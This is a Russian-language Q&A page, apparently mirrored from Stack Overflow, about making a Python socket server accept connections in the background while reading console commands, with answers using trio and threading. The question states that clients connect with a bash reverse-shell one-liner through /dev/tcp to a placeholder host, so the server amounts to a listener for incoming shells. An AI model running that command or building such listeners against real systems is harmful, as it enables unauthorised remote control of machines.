Как я могу принимать новые запросы на подключение в фоновом режиме? - PullRequest
0 голосов
/ 29 июня 2019

У меня есть сервер, который принимает запросы на подключение от клиентов.Клиенты отправляют запросы на подключение с помощью этой команды: bash -i > /dev/tcp/ip/port 0<&1 1>&1.Я хочу, чтобы мой сервер мгновенно принимал новые запросы на подключение и регистрировал их в консоли, но я не знаю как.В приведенном ниже коде есть цикл while.Как мы видим, command_accept () нужно завершить самостоятельно, чтобы client_accept () запустился.Это означает, что мне всегда нужно передавать какую-то команду для принятия новых клиентских запросов.Мне нужно, чтобы client_accept () всегда работал в фоновом режиме.

Я пытался установить ограничение времени ввода, но это не то решение, которое мне нужно.Также я пробовал разные библиотеки для асинхронного программирования, хотя я не уверен, что делаю это правильно.

import socket
import time
import sys


host = '127.0.0.1'
port = 1344
id_counter = 0

server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)

server.bind((host, port))
server.listen()

clients = {}

def client_accept(server):
    while True:
        try:
            conn, addr = server.accept()
            global id_counter
            id_counter += 1
            clients[id_counter] = (conn, addr)
            print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
        except socket.timeout:
            break

def command_accept():
    command = input('server > ')
    #** don't pay attention **#
    if command == 'exit':
        sys.exit()
    else:
        print(f'command {command} accepted!')   

while True:
    command_accept()
    client_accept(server)

Ожидаемый результат: я ничего не передаю на вход в command_accept и все же, если новый клиент отправилзапросить, то сервер немедленно примет его и напечатает что-то вроде нового клиента [ID 1] с адресом 127.0.0.1:45431.

Ответы [ 2 ]

0 голосов
/ 29 июня 2019

в качестве предлога для эксперимента с асинхронной библиотекой trio . Я перенес на нее ваш код

Начните с определения простого класса для клиентских подключений и кода для их отслеживания:

from sys import stderr
from itertools import count

class Client:
    def __init__(self, stream):
        self.stream = stream

    async def run(self):
        lines = LineReader(self.stream)
        while True:
            line = (await lines.readline()).decode('ascii')
            if not line or line.strip().casefold() in {'quit', 'exit'}:
                await self.stream.send_all(b'bye!\r\n')
                break
            resp = f'got {line!r}'
            await self.stream.send_all(resp.encode('ascii') + b'\r\n')

CLIENT_COUNTER = count()
CLIENTS = {}

async def handle_client(stream):
    client_id = next(CLIENT_COUNTER)
    client = Client(stream)
    async with stream:
        CLIENTS[client_id] = client
        try:
            await client.run()
        except Exception as err:
            print('client failed', err, file=stderr)
        finally:
            del CLIENTS[client_id]

LineReader приходит отсюда: https://stackoverflow.com/a/53576829/1358308

далее мы можем определить обработку стандартного сервера:

async def handle_local(nursery):
    while True:
        try:
            command = await async_input('server > ')
        except EOFError:
            command = 'exit'

        if command == 'exit':
            nursery.cancel_scope.cancel()
        elif command == 'list':
            for id, client in CLIENTS.items():
                print(id, client.stream.socket.getpeername())
        else:
            print(f'unknown command {command!r}')

проверить документы для информация о питомниках

здесь используется служебная функция для преобразования input в async функцию .

import trio

async def async_input(prompt=None):
    return await trio.run_sync_in_worker_thread(
        input, prompt, cancellable=True)

затем мы определяем код, чтобы связать все части вместе:

SERVE_HOST = 'localhost'
SERVE_PORT = 1344


async def async_main():
    async with trio.open_nursery() as nursery:
        nursery.start_soon(handle_local, nursery)

        await trio.serve_tcp(
            handle_client,
            port=SERVE_PORT, host=SERVE_HOST,
            handler_nursery=nursery)

trio.run(async_main)

еще несколько ссылок / ссылок (автора трио):

0 голосов
/ 29 июня 2019

Попробуйте сделать это с помощью socket.io и Threading, поэтому, если сокет получил событие ON_CONNECT, вы можете просто вставить информацию в список и распечатать ее на консоли.

...